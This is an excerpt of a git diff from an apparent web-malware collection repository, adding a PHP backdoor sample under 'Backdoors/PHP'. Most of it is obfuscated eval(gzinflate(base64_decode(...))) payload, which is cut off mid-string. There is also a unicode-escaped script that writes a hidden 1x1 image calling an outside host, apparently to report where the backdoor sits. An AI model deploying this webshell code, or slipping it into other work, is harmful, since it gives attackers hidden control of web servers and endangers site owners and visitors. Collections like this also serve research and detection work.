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'))); ?> <script type="text/javascript">document.write('\u003c\u0069\u006d\u0067\u0020\u0073\u0072\u0063\u003d\u0022\u0068\u0074\u0074\u0070\u003a\u002f\u002f\u0061\u006c\u0074\u0075\u0072\u006b\u0073\u002e\u0063\u006f\u006d\u002f\u0073\u006e\u0066\u002f\u0073\u002e\u0070\u0068\u0070\u0022\u0020\u0077\u0069\u0064\u0074\u0068\u003d\u0022\u0031\u0022\u0020\u0068\u0065\u0069\u0067\u0068\u0074\u003d\u0022\u0031\u0022\u003e')</script> \ No newline at end of file diff --git a/web-malware-collection-master/Backdoors/PHP/iskorpitx.txt b/web-malware-collection-master/Backdoors/PHP/iskorpitx.txt new file mode 100755 index 0000000..f0d9bbf --- /dev/null +++ b/web-malware-collection-master/Backdoors/PHP/iskorpitx.txt @@ -0,0 +1 @@ +<? eval(gzinflate(base64_decode('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